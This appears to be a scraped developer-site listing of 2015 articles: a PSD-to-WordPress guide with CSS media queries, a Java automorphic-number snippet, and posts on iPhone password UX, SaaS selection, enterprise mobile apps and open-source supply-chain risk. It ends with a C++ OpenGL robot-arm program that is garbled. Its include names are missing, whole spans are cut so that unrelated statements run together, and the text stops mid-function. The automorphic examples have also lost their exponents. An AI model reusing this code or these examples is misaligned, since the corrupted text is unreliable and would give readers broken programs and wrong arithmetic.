In today’s cutthroat web design world, a successful website requires two significant things: first, an easy to use, compelling and responsive user interface design and second, an efficient and well-functioning code. Where an attractive responsive design requires you to be an extraordinarily creative professional, on the other hand, coding requires you to have deep knowledge of various web programming languages such as HTML, CSS, PHP and jQuery. Thus anyone can create a Photoshop design file (PSD) of their design, but coding it is not everyone's cup of tea. For those, who aren't programmers, WordPress CMS has been emerged as a huge boon. Being open-source and extremely user friendly, WordPress makes website creation a breeze for anyone. But again, creating a custom responsive website in WordPress is not as easy as you think. It also requires you to have enough mastery over various programming languages, especially over CSS media queries. Therefore to overcome this problem, I’ve come up with this comprehensive guide that will teach you how to convert a Photoshop file into a well-functioning responsive WordPress theme in just six simple steps. Let’s start! Slicing the Photoshop File: This is the first step that you should follow while you’re going to convert the Photoshop file into a fully-functional responsive WordPress theme. Maybe you are a little bit confused with the term “slicing”, but don’t worry, it’s nothing except cutting and dividing a single image design file into multiple design files that contain different design components of the entire design. When you design a WordPress theme, sliced images are sewn together in such a way that each of its features and components has their own unique functionality and use. This is the most crucial step in the entire conversion process since it’s not possible to code the whole design from a single image file. The Slicing can be done using an image editing software such as Adobe Photoshop, which is the most preferred choice of web and graphics designers for this task, or comparable. Although a simple application such as Microsoft paint can be used to accomplish the same, but I highly recommend you use Photoshop because it retains the capabilities to make the job easier to perform and organize. Whatever software you wish to use, the main point you must keep in your mind is to come out with pixel-perfect images for various sections such as Header, Footer, Sidebar, Navigation, and Body etc. Preparing the Front-End: Once the image design file is duly sliced, the next step is to create index.html and style.css files. To achieve this, you have to code the sliced images into a markup language such as HTML or XHTML and styling them using CSS (Cascading Style Sheets). This is one of the most imperative steps of conversion since Photoshop file are static and cannot be accessed directly on web browsers. For that reason, to make them dynamic, it’s vital to perform the coding. However, as I’ve already mentioned above, this process requires you to have in-depth knowledge and expertise in HTML and CSS. To accomplish this task, like most of the coders, you can take advantage of website creation software such as Dreamweaver. Whichever software you prefer to use, in the end the point is to code every web component with complete pixel-perfect placement as well as rollover effects. In addition, it would be convenient for you if you name the HTML file as index.html and CSS file as style.css. Below are some resources to learn CSS and HTML: W3Schools: This website is dedicated to provide detailed tutorials and examples on various web development topics including CSS and HTML. It also has an online compiler where you can see your HTML/CSS in action. Codecademy: Codecademy covers the basics of CSS/HTML and offers free coding classes to beginners. HTML5 Rocks: One of the best resources for coders where they can find in-depth tutorials on specific features of HTML5. Mozilla Developer Network: Created by an open community of Mozilla Firefox developers, this web page contains great tutorials and articles on open web technologies including HTML and CSS. WordPress Coding Standards: A complete guide provided by the WordPress community to help developers learn how to code a WordPress site using best practices. Creating Responsive.css file: After coding the sliced images into an HTML theme, now it’s time to make it responsive using CSS media queries. This can be achieved by creating another CSS file named responsive.css containing media queries for different devices. Because different devices support different media queries, you have to target a particular device in accordance with its screen resolution. For instance, the media query below prevents CSS styles from rendering to 767px or less screen size. @media only screen and (max-width: 767px) { body {width: 300px;padding: 22px 28px 50px;} } Likewise, you can use media queries for other devices as per your requirements. For your convenience, below is an exhaustive list of media queries for popular devices: Large Screens @media only screen and (min-width: 1824px) Desktops and Laptops @media only screen and (min-width: 1224px) iPads: Landscape @media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: landscape) iPads: Portrait @media only screen and (min-device-width: 768px) and (max-device-width: 1024px) and (orientation: portrait) iPads: Portrait and Landscape @media only screen and (min-device-width: 768px) and (max-device-width: 1024px) iPhone 5: Landscape @media only screen and (min-device-width: 320px) and (max-device-width: 568px) and (orientation: landscape) iPhone 5: Portrait @media only screen and (min-device-width: 320px) and (max-device-width: 568px) and (orientation: portrait) iPhone 5: Portrait and Landscape @media only screen and (min-device-width: 320px) and (max-device-width: 568px) iPhone4 @media only screen and (-webkit-min-device-pixel-ratio: 1.5), screen and (min-device-pixel-ratio: 1.5) Smartphones: Landscape @media only screen and (min-width: 321px) Smartphones: Portrait @media only screen and (max-width: 320px) Smartphones: Portrait and Landscape @media only screen and (min-device-width: 320px) and (max-device-width: 480px) Integrating Front-End into WordPress: The main purpose of entire Photoshop file to responsive WordPress conversion process is to create a custom responsive WordPress theme that could be uploaded into the WordPress software. Therefore to make the most of WordPress, it’s crucial to design the initial index.html file with WordPress theme file structure in mind and then break it into multiple HTML files according to the file structure of the theme. Doing so you’ll be able to make the theme live and add various functionalities via WordPress tools and plug-ins. As WordPress is written in PHP, a typical WordPress theme consists of numerous PHP files such as index.php, search.php, category.php, header.php, footer.php, comments.php, sidebar.php, archive.php and many more. Most of WordPress themes have these all files to facilitate better theme coding and categorization. However, you just need two files index.php and style.css to make a WordPress theme live and functional. Thus in this step, you have to break your index.html file into necessary feature files on the ground of WordPress theme file structure. Incorporating Multidisciplinary WordPress Tags: What makes WordPress powerful is a myriad of built-in functions, which you can use to add all desired functionalities to a custom theme without teasing your mind with difficult HTML codes. Just by including the right set of WordPress inbuilt function tags in theme files, you can bring any functionality to your WordPress theme. So this step involves adding WordPress PHP tags to various theme files (that you’ve got in the previous step by breaking index.html), and then combine them to procure a functional WordPress theme. All these files would be placed in a single theme folder that could be found in /wp-content/themes/ folder in the WordPress installation. To get more information about WordPress tags and functions, please go through following pages: Template Tags: Here you can find a complete list of WordPress tags. Every tag on this page has a dedicated page where you can find full details about that tag. Function Reference: Once this step is completed, you would be able to have a well-functioning custom responsive WordPress theme that can be activated via WordPress dashboard. After activating the theme, you can check whether implemented media queries are working properly or not. Augmenting the Theme with Additional Features & Functionalities: After creating and activating the custom responsive theme, now it’s time to experience the true magic of WordPress platform by adding desired functionalities to your theme. WordPress offers a wide range of free and paid plug-ins, which can be installed and configured via WordPress dashboard, through which you can add any kind of functionality to your site. Apart from this, if you want to make some changes to existing functionality, you just need to modify the existing file structure through dashboard. Means, to add extra functionalities, you won’t be required to spend your valuable time and energy in modifying the core HTML code. All you need to grab, install and activate a relevant plug-in and WordPress will take care of the rest. That’s all about developing a responsive WordPress theme from a Photoshop file! Conclusion: Hopefully, this guide would provide you the most simplified way of converting any Photoshop file to a beautiful responsive WordPress theme . However, if you face any kind of difficulties while converting, then it would be better for you to hire a professional WordPress developer for the same purpose.
July 1, 2015
by Ajeet Yadav
· 4,679 Views
article thumbnail
What is Automorphic number in Java ?
In mathematics an automorphic number (sometimes referred to as a circular number) is a number whose square "ends" in the same digits as the number itself. For example, 52 = 25, 62 = 36, 762 = 5776, and 8906252 = 793212890625, so 5, 6, 76 and 890625 are all automorphic numbers. And the logic behind : int n=56; int d=1; int i; for(i=n;i>0;i=i/10) { d=d*10; } if((n*n)%d==n) { System.out.println(n+"\t"+"is Automorphic Number"); } else { System.out.println(n+"\t"+"is not Automorphic Number"); } } You can check full article from Geek On Java - Hub for Java and Android
July 1, 2015
by Das Nic
· 8,681 Views
article thumbnail
iPhone Developers Should Overcome Password Related Roadblocks in UX
Today we are exchanging very sensitive and critical information as well as financial data through our mobile devices. Mobiles make Internet ubiquitous. Mobile apps are increasingly use web services or cloud services with high security standards. Unfortunately, security begins with authentication of users and services. Each app has its own authentication method and technologies applied. Therefore, mobile app users face big hurdles passing authentication stages frequently. In due course, Apple has introduced biometric authentication system like fingerprints to unlock iPhone as well as other apps based on Apple ID in this unique way. However, iPhone developers can’t use Apple ID or biometric authentication system in all kinds of applications. For instance, in e-commerce apps, developers have to create two level of authentication system. One for account creation and another during checkout process for payment like critical transactions. Therefore, creating user name or ID and password for it is mandatory. Unfortunately, creating password and remembering it is daunting for many at short term and long-term memories. Password at UX point of view For sake of security, creating strong password is compulsory, but it puts load on user memory system and distracts user experiences. For instance, many password creation system demand mix of upper & lower case, use of numeric digits, use of punctuations or special symbols, etc. This is the place, where UX designers have to play vital roles. For creation of password or authentication dialog box For offering memorizing and authentication dialog box There are many suggestions to create signup and sign-in dialog boxes, but ultimate target is to create strong password for desired security. For iPhone app developers, indication of strength of the password proves intuitive to make it strong. In due course, iPhone app developers can use indication bar, textual tips, instructions for how to, etc. in their designing. Acts of Smart iPhone App Developers No doubt, modern iPhone apps have smart password creation design and tools, but very few iPhone developers focus on remembering password in their UX designing. The best way to memorize password is to use good hints about it that how users can easily remember and relate it with hints offer in case of forgotten password. Now, smart iPhone developers never offer password-creation dialog box among the clutter of other activities. They instead, use isolated dialog box with plain background to offer clam ambiance to boost memory power with greater focus on only one activity and that is password creation and reading long yet useful instructions on remembering it for long. They give intelligent and meaningful password memorizing tips on their password creation dialog box. They also personalized it, according to regions or cultures of the end-users. Many iPhone developers use show password button on password-creation dialog box and involve relevant hits with password to keep it in long-term memories of the users. Mindinventory has smart iPhone app developers who have adequate awareness of password related UX issues and have solved many problems in their iPhone app development journey.
July 1, 2015
by Mehul Rajput
· 1,065 Views
article thumbnail
Choosing the Right SaaS for Your Business
In recent years, SaaS has become a popular delivery model for a wide range of business applications. Also known as on-demand software, because of the anytime, anywhere nature of Software as a Service, it’s easy to see why it has become so popular. Once you’ve decided you want to take the Software as a Service approach, you need to decide which SaaS solution you’re going to choose. Read on as we discuss the questions you should be asking your Software as a Service provider before signing up with them. How much does SaaS cost? Cost is likely to be your first question when considering Software as a Service, as you need to ensure that it fits within your budget. Software as a Service business intelligence costs less than traditional software packages, as there are limited or no upfront investments or overpriced license fees. Pricing for Software as a Service is typically based on measure of usage or by subscription. When choosing your SaaS provider, we suggest you look for any hidden usage charges to confirm that the costs of their service are transparent. Does a SaaS solution fit with your requirements? The platform you choose for your Software as a Service should solve your problems and help you to achieve your business objectives without disrupting the internal processes. The user interfaces of your SaaS software should be suitable for your team to utilize effectively. Does the provider’s software solve your key problems? Before purchasing your SaaS application, the provider should offer you an in-depth demo of the software to ensure that you can fully utilize it. Use this demo as an opportunity to discuss your problems with the demonstrator and make sure that they show you exactly how the software can help. If it can’t, it isn’t right for you. Does the provider offer training? One of the main problems with software purchased on a one-off basis is that you can be left with very limited support and training as to how to use the software. As a SaaS provider has a vested interest in you continually using the product, they should offer comprehensive support and training, including tutorials of how the software works so you and your team can feel confident using it. Make sure to ask about the training schemes and support available when signing up though, it will be an important part of your whole team adopting the system. Does the provider offer account management and system support? When implementing a SaaS application, the provider should give you best practice examples to follow to ensure your software operates efficiently. It’s also important that you know your provider will be on hand to ensure that you get the maximum value from the platform once it’s been implemented. This is also critical for resolving any conflicts or problems with Software as a Service. You should always check that your provider covers your hours of business so they are on hand to offer system support at all times, should you ever need it. How does SaaS compare to other providers? How does the service your Software as a Service provider offers meet peaks in demand for the service? Does the platform perform consistently when there are multiple users accessing it? Ask each provider about their page load times and response times, as this will allow you to collect and compare the performance of different SaaS providers. Ask about the security measures of the platform and how often the software is tested to check for vulnerabilities. Ultimately, SaaS solutions should put you in a better position to analyze your business intelligence and make better informed business decisions. The platform you choose should be the best fit for your own business model taking into account business goals, budget and usability. Learn more about finding the ideal SaaS solution for you at sales-i.
July 1, 2015
by Chris Bourne
· 8,923 Views
article thumbnail
Mobile App Growth in Enterprise Gearing Up Day by Day – says Survey
The big changes on their way in Mobile App Growth for the enterprise industry now days. This growth drives immense differences in the mobility sector. No businesses have been more disturbed by the growth of the smart devices than the enterprises. There are no indications of easing off the Mobile App Growth in enterprise and other mobility movements as well. Individuals who are attached with a smart phone, knows very well that mobile applications are turning into a major compact in the working environment. A large portion of individuals utilize mobile applications to help their task accomplished on our mobile devices. At regular intervals, a survey is released with hard information that supports this thought. 2014 saw a quick upsurge of the mobile app development companies, however 2015 would be the year where the Mobile App Growth will raise and will be based on hottest technologies that would attend more advanced determinations. The client desires and requests would also rise more in this year and will be fulfilled by the developers as well for more appropriate applications that are based on cutting-edge technologies. The speedy Mobile App Growth did not happen by accidentally. It is the wonderful opportunities that the mobile applications convey; the potential outcomes that it comprises which drive organizations to build up a mobile application for them. As indicated by the study, 60% of workers utilize mobile apps for business related doings and organizations gain an additional 240 hours of work for every year from staffs because of mobile working. 77% of the workers utilize their own cellphones and 62% rely on individual’s personal tablets for work. However, only 15% of developers are constructing mobile apps for enterprise worldwide. 35% of large enterprises would acquire mobile application development platforms to develop mobile apps across their associations in 2015. It’s obvious that enterprises want to be using mobile apps but something is holding them back like, 54% of organizations see security as a barrier to create a formal mobile strategy. 48% see the additional investment in the development of apps and much more. The effect of mobile applications on business is as important as it is for consumers. The difference is that mobile applications of enterprise need to be more safe, strong and skilled enough linking to back-office databanks and warehouses. Time spent in mobile applications bounced more than 50% in a year and mobile web usage has also expanded but the time spent on desktop and laptop PCs leftovers flat throughout the period. Mobile management showed his maturity; early adopters have kept constructing and deploying applications and seeing achievement regarding efficiency and monetary profits. As a result, this has put weight on different organizations to get in the game with improved tools and effective approaches to guarantee application and data safety. The ratio of barriers is very low, and now organizations are recognizing that the mobile enterprise is not only conceivable but serious to their victory. Organizations that already have numerous enterprise applications are predictable to construct their own enterprise application stores in 2015 to drive efficiency and deliver workers access to their enterprise applications with ease from anywhere. The world of Mobile App Growth is spreading and we have seen unstable progress in the deployment of applications in 2015. Mobile applications are revolutionizing the enterprises internationally and acquiring a modification in how consumers as well as employees interact with huge organizations. Numerous enterprises now understand the significance of mobile strategy and perceiving the need to construct enterprise applications to create new business networks and give improved solutions. Enterprise Mobile app development would be critical for organizations to develop in 2015.
July 1, 2015
by Deepak Patel
· 1,484 Views · 1 Like
article thumbnail
Rework is Choking Software
Rework is Hell “Software may be eating the world, but rework is choking software”, tweeted John Jeremiah (@j_jeremiah). To shed more light on what is choking software, new data was released last week in the 2015 State of the Software Supply Chain Report. In its discussion of application quality and integrity, the report revealed that the average application includes 106 open source components. It is clear that the use of these components has benefited development tremendously in helping to speed time to market and improve innovation. While the benefits are undeniable, development teams are also delivering applications that are “insecure by design”. Of the 106 components per application, the report’s analysis revealed an average of 24 (i.e., 23%) have known critical or severe security vulnerabilities. Those same apps also showed an average of 9 restrictive license types (e.g., GPL, AGPL, LGPL). By electively sourcing components with known vulnerabilities and potential license risks, software development teams are building up higher levels of technical and security debt. And in order to reduce some of that debt, unplanned and unscheduled rework is often required. No Developer Intentionally Uses Bad Parts I have never met a developer that intentionally wanted to use “bad” components in their applications. That said, I have also never met a developer that wanted to spend four hours researching the latest versions, open source licenses and known security vulnerabilities for components (including dependencies) they wanted to use in their applications. While 57% of development organizations have internal policies in place that direct “thou shall not use components with poor quality and integrity”, many have stated that the policies are not followed or are simply not enforced. The problem is one of volume and velocity, while people clutch to old processes that simply can’t keep pace. The analysis in the 2015 State of the Software Supply Chain report revealed that billions of open source downloads occurred in 2014, of which 6.2% had known vulnerabilities (1 in 16 downloads). For some large companies, the volume of downloads exceeded 240,000 — where 15,000 (7.5%) had known security vulnerabilities. At these volumes, manual processes and paper-based policies to prevent poor quality or risky components from getting into your software have no possibility of keeping pace. While software development practices aim for higher velocity, through component-based development as well as Agile, continuous and DevOps practices, the processes to keep up with it have not changed enough. The only way to keep pace with this velocity is through automation. And if we want to avoid unplanned rework associated with remediating known security vulnerabilities or selecting alternative components with approved license types, automation has to become the norm rather than the exception within development. At Speed “If I look at the mass, I will never act. If I look at the one, I will.” — Mother Teresa Looking at the massive volume and velocity of open source and other artifact consumption can be discouraging and overwhelming. However, the volume and velocity within our software supply chains will not diminish—and without a new approach, the volume of unchecked quality and integrity of parts being consumed will continue to build up as technical debt. Automation in areas of testing, build, and deployment has provided significant performance benefits. Likewise, investments in software supply chain automation have shown markedly improved efficiency and controlled risk, as the best practices in the 2015 Report illustrate. Automation can unleash the potential of an organization’s development capacity. Rarely is there such an opportunity to simultaneously increase speed, efficiency, and quality. In order to improve the quality and integrity of components used in our applications, we need to release our clutch on old practices. We can further embrace automation across our software supply chains — and improve the quality of our applications — by considering these three steps: 1. Start with creating a software bill of materials for one application. Visibility into one application can help you better understand your current component usage. A number of free and paid services are available to help you create a software bill of materials within a few minutes. The bill of materials will help you to identify the unique component parts used within your application and the suppliers who contributed them. These reports list all components used, and several services also identify component age, popularity, version numbers, licenses, and known vulnerabilities. 2. Design approval processes to be frictionless, scalable, and automated. Manual reviews of components and suppliers cannot keep pace with the current volume and velocity of consumption. Your organization must not only define your policies for supplier and part selection but also find practical ways to enforce them without slowing down development or inadvertently encouraging workarounds. Policies must be agile enough to keep pace with modern development. Strive to automate policy enforcement and minimize drag on developers. 3. Enable developer decision support. Developers are primary consumers of components in software supply chains. They initiate every component request. Help developers by automating the availability of information on component versions, age, popularity, licenses, and known vulnerabilities within their existing development tools so it is easy to pick the best components from the start. By selecting the highest-quality components from the highest-quality suppliers early, you will improve developer productivity and reduce costs. Here is the complete 2015 State of the Software Supply Chain Report. I will also be discussing more of the Report findings and best practices on a webinar scheduled for Wednesday, June 24, 12pm ET (register or view it on-demand). The previous blog in this series was, Fewer and Better Suppliers. Next up, I will be reviewing Visibility and Traceability practices across the software supply chain with more commentary from the 2015 State of the Software Supply Chain Report.
July 1, 2015
by Derek Weeks
· 2,671 Views
article thumbnail
computer graphic
// Name : Hoang Xuan Nhat Huy // ID : 51101332 #include #include #include #include #include using namespace std; class Point3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Point3& p) { x = p.x; y = p.y; z = p.z;} Point3() { x = y = z = 0;} Point3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} }; class Color3 { public: float r, g, b; void set(float red, float green, float blue) { r = red; g = green; b = blue;} void set(Color3& c) { r = c.r; g = c.g; b = c.b;} Color3() { r = g = b = 0;} Color3(float red, float green, float blue) { r = red; g = green; b = blue;} }; class Point2 { public: Point2() { x = y = 0.0f; } // constructor 1 Point2(float xx, float yy) { x = xx; y = yy; } // constructor 2 void set(float xx, float yy) { x = xx; y = yy; } float getX() { return x;} float getY() { return y;} void draw() { glBegin(GL_POINTS); glVertex2f((GLfloat)x, (GLfloat)y); glEnd(); } private: float x, y; }; class IntRect { public: IntRect() { l = 0; r = 100; b = 0; t = 100; } // constructor IntRect( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void set( int left, int right, int bottom, int top) { l = left; r = right; b = bottom; t = top; } void draw(){ glRecti(l, b, r, t); glFlush(); } // draw this rectangle using OpenGL int getWidth(){return (r-l);} int getHeight() { return (t-b);} private: int l, r, b, t; }; class RealRect { public: RealRect() { l = 0; r = 100; b = 0; t = 100; } // constructor RealRect( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } void set( float left, float right, float bottom, float top) { l = left; r = right; b = bottom; t = top; } float getWidth(){return (r-l);} float getHeight() { return (t-b);} void RealRect::draw(){ glRectf(l, b, r, t); glFlush(); };// draw this rectangle using OpenGL private: float l, r, b, t; }; class Vector3 { public: float x, y, z; void set(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} void set(Vector3& v) { x = v.x; y = v.y; z = v.z;} void flip() { x = -x; y = -y; z = -z;} //void setDiff(Point3& a, Point3& void normalize(); Vector3() { x = y = z = 0;} Vector3(float dx, float dy, float dz) { x = dx; y = dy; z = dz;} Vector3(Vector3& v) { x = v.x; y = v.y; z = v.z;} Vector3 cross(Vector3 b); float dot(Vector3 b); }; class VertexID { public: int vertIndex; int colorIndex; }; class Face { public: int nVerts; VertexID* vert; Face() { nVerts = 0; vert = NULL; } ~Face() { if(vert !=NULL) { delete[] vert; vert = NULL; } nVerts = 0; } }; class Mesh { public: int numVerts; Point3* pt; int numFaces; Face* face; float slideX, slideY, slideZ; float rotateX, rotateY, rotateZ; public: Mesh() { slideX = 0; slideY = 0; slideZ = 0; rotateX = 0; rotateY = 0; rotateZ = 0; numVerts = 0; pt = NULL; numFaces = 0; face = NULL; } ~Mesh() { if (pt != NULL) { delete[] pt; } if(face != NULL) { delete[] face; } numVerts = 0; numFaces = 0; } void DrawWireframe(); void DrawColor(); void CreateTetrahedron(); void CreateCube(float fSize); void CreateSphere(int nSlice, int nStack, float radius); void CreateYPlane(int nXSegment, int nZSegment, float fXWidth, float fZWidth); void CreateCuboid(float fSizeX, float fSizeY, float fSizeZ); void CreateCylinder(int nSegment, float fHeight, float fRadius); void CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius); void CreatehaftSphere(int nSlice, int nStack, float radius); void SetColor(int colorIdx); }; #define DEG2RAD(x) (x*PI)/180.0f void myDisplay(); int screenWidth = 600; int screenHeight= 600; float fRoomSize = 15; bool bWireFrame = false; float YPlanePos = 0; float ballRadius = 0.4; float ball1SizeZ = 2; float cuboidBaseSizeXZ = 0.8; float cuboidBaseSizeY = 0.1; float cylBase1Radius = cuboidBaseSizeXZ/2 - 0.1; float cylBase1Height = 0.2; float cylBase2Radius = cylBase1Radius - 0.1; float cylBase2Height = 2.5; /////////////////////////////////////////////////// float upperArm1ORadius = cylBase1Radius; float upperArm1IRadius = cylBase2Radius; float upperArm1Height = cylBase1Height*1.5; float upperArm1Offset = 0.5; float upperArm2SizeX = upperArm1IRadius; float upperArm2SizeZ = 1.4/2; float upperArm2SizeY = upperArm1Height/2; float upperArm3Radius = upperArm2SizeX; float upperArm3Height = upperArm2SizeY*2; float upperArm4Radius = upperArm3Radius - 0.08; float upperArm4Height = upperArm3Height*2; float upperArmRotateY = 0; /////////////////////////////////////////////// float foreArm1ORadius = 0.2; float foreArm1IRadius = cylBase2Radius; float foreArm1Height = 0.5; float foreArm1Offset = 0.5; //float foreArm2SizeX = upperArm1IRadius; //float foreArm2SizeZ = 0.7; //float foreArm2SizeY = upperArm1Height; float foreArm2SizeX = 0.15; float foreArm2SizeZ = 1.4; float foreArm2SizeY = 0.5/2; float foreArm3Radius = 0.12; float foreArm3Height = 0.5; float foreArm4Radius = 0.1; float foreArm4Height = 1.6; float foreArmRotateY = 0; float handMove = 0; float handMove1 = 0; float move = 0; bool hold1 = false; bool hold2 = false; bool hold3 = false; bool hold4 = false; float ball1upper = 0; float ball1hand = 0; float ball2upper = 0; float ball2hand = 0; float ball3upper = 0; float ball3hand = 0; float ball4upper = 0; float ball4hand = 0; //Mesh for the foor Mesh planeY; Mesh planeY2; //Mesh for the ball Mesh ball1; Mesh ball2; Mesh ball3; Mesh ball4; //Mesh for the body Mesh cuboidBase; Mesh cylBase1; Mesh cylBase2; //Mesh for upper arm Mesh upperArm1; Mesh upperArm2; Mesh upperArm3; Mesh upperArm4; //Mesh for fore arm Mesh foreArm1; Mesh foreArm2; Mesh foreArm3; Mesh foreArm4; Mesh Hand; Mesh Hand1; //Camera parameters float camera_angle; float camera_height; float camera_dis; float camera_X, camera_Y, camera_Z; float lookAt_X, lookAt_Y, lookAt_Z; float camera_lookAt; bool b4View = false; #define PI 3.1415926 #define COLORNUM 14 float ColorArr[COLORNUM][3] = {{1.0, 0.0, 0.0}, {0.0, 1.0, 0.0}, { 0.0, 0.0, 1.0}, {1.0, 1.0, 0.0}, { 1.0, 0.0, 1.0},{ 0.0, 1.0, 1.0}, {0.3, 0.3, 0.3}, {0.5, 0.5, 0.5}, { 0.9, 0.9, 0.9}, {1.0, 0.5, 0.5}, { 0.5, 1.0, 0.5},{ 0.5, 0.5, 1.0}, {0.0, 0.0, 0.0}, {1.0, 1.0, 1.0}; void Mesh::SetColor(int colorIdx){ for (int f = 0; f < numFaces; f++) { for (int v = 0; v < face[f].nVerts; v++) { face[f].vert[v].colorIndex = colorIdx; } } } void Mesh::CreateCylinderWithHole(int nSegment, float fHeight, float fORadius, float fIRadius) { numVerts = nSegment * 4; pt = new Point3[numVerts]; int count = 0; for (int i = 0; i < 4; i++) { if (i == 2) fHeight *= -1; float r = (i == 0 || i == 3) ? fIRadius : fORadius; for (int j = 0; j < nSegment; j++) { float x = r * cos(2 * PI*j / nSegment); float z = r * sin(2 * PI*j / nSegment); pt[count].set(x, fHeight, z); count++; } } // ve face numFaces = nSegment * 4; face = new Face[numFaces]; count = 0; for (int i = 1; i < 5; i++) { for (int j = 0; j < nSegment; j++) { face[count].nVerts = 4; face[count].vert = new VertexID[face[count].nVerts]; face[count].vert[0].vertIndex = nSegment * (i%4) + j; face[count].vert[1].vertIndex = nSegment * (i%4) + ((j + 1) % nSegment); face[count].vert[2].vertIndex = nSegment * (i - 1) + ((j + 1) % nSegment); face[count].vert[3].vertIndex = nSegment * (i - 1) + j; count++; } } } void Mesh::CreateCylinder(int nSegment, float fHeight, float fRadius) { numVerts = 2*nSegment + 4; pt = new Point3[numVerts]; pt[0].set(0,fHeight/2,0); pt[1].set(0,-fHeight/2,0); float y=fHeight/2; for (int i = 0; i <= nSegment; i++) { float deg = 360*i/nSegment * PI / 180; float x=fRadius*sin(deg); float z=fRadius*cos(deg); pt[2+i].set(x,y,z); pt[2+i+nSegment+1].set(x,-y,z); } numFaces = 3*nSegment; face = new Face[numFaces]; for (int i = 0; i < nSegment; i++) { face[i].nVerts = 3; face[i].vert = new VertexID[face[i].nVerts]; face[i].vert[0].vertIndex = 0; face[i].vert[1].vertIndex = 2+i; face[i].vert[2].vertIndex = 2+i+1; for(int j = 0; j= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //4 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold4 == false) { hold2 = true; return 2; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= -3.65) { //3 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold2 == false && hold4 == false) { hold3 = true; return 3; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= -2.35 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= -3.65) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //2 if(move >= -0.11 && move <= -0.09) { if(hold1 == false && hold3 == false && hold2 == false) { hold4 = true; return 4; } } } } if(2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(cos(handMove1*PI/180)) + 1.6*(cos(upperArmRotateY*PI/180)) >= 2.35) { if(2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) <= 3.65 && 2.9*(sin(handMove1*PI/180)) + 1.6*(sin(upperArmRotateY*PI/180)) >= 2.35) { //1 if(move >= -0.11 && move <= -0.09) { if(hold2 == false && hold3 == false && hold4 == false) { hold1 = true; return 1; } } } } /* if(sin(upperArmRotateY*PI/180) >= -0.809017 && sin(upperArmRotateY*PI/180) <= 0.207912) { if(sin(handMove1*PI/180) >= -0.927184 && sin(handMove1*PI/180) <= -0.809017 && move >= -0.11 && move <= -0.09) cout<<"blabla"< -0.08) //move -= 0.05; } else if(move > -0.875) move -= 0.05; break; case 'v': case 'V': b4View = !b4View; changeCameraPos(); break; case '+': camera_dis += 0.1; changeCameraPos(); break; case '-': camera_dis -= 0.1; changeCameraPos(); break; //Code here //////////////////////////////////////////// } glutPostRedisplay(); } void drawFloor() { int SPACE = -2; for (int i = 0; i < 5; i++) { for (int j = 0; j < 5; j++) { glPushMatrix(); glTranslated(planeY.slideX + i*SPACE, planeY.slideY, planeY.slideZ + j*SPACE); if(bWireFrame){ planeY.DrawWireframe(); } else{ planeY.DrawColor(); } glPopMatrix(); glPushMatrix(); glTranslated(planeY2.slideX + i*SPACE, planeY2.slideY, planeY2.slideZ + j*SPACE); if(bWireFrame){ planeY2.DrawWireframe(); } else{ planeY2.DrawColor(); } glPopMatrix(); } } } void drawBall1() { glPushMatrix(); glRotated(ball1upper, 0, 1, 0); glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball1hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); //glTranslated(0, move, 0); //glTranslated(-ball1.slideX, -ball1.slideY, -ball1.slideZ); //glRotated(ball1hand, 0, 1, 0); //glTranslated(ball1.slideX, ball1.slideY, ball1.slideZ); if(bWireFrame) ball1.DrawWireframe(); else ball1.DrawColor(); glPopMatrix(); } void drawBall2() { glPushMatrix(); glRotated(ball2upper, 0, 1, 0); glTranslated(ball2.slideX, ball2.slideY, ball2.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); glRotated(ball2hand, 0, 1, 0); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); if(bWireFrame) ball2.DrawWireframe(); else ball2.DrawColor(); glPopMatrix(); } void drawBall3() { glPushMatrix(); glRotated(ball3upper, 0, 1, 0); glTranslated(ball3.slideX, ball3.slideY, ball3.slideZ); glTranslated(cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball3hand, 0, 1, 0); glTranslated(-cos(-45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball3.DrawWireframe(); else ball3.DrawColor(); glPopMatrix(); } void drawBall4() { glPushMatrix(); glRotated(ball4upper, 0, 1, 0); glTranslated(ball4.slideX, ball4.slideY, ball4.slideZ); glTranslated(-cos(45*PI/180)*2.9, 0, cos(45*PI/180)*2.9); glRotated(ball4hand, 0, 1, 0); glTranslated(cos(45*PI/180)*2.9, 0, -cos(45*PI/180)*2.9); if(bWireFrame) ball4.DrawWireframe(); else ball4.DrawColor(); glPopMatrix(); } void drawCuboidBase() { glPushMatrix(); ////////////////////////////////// glTranslated(0, 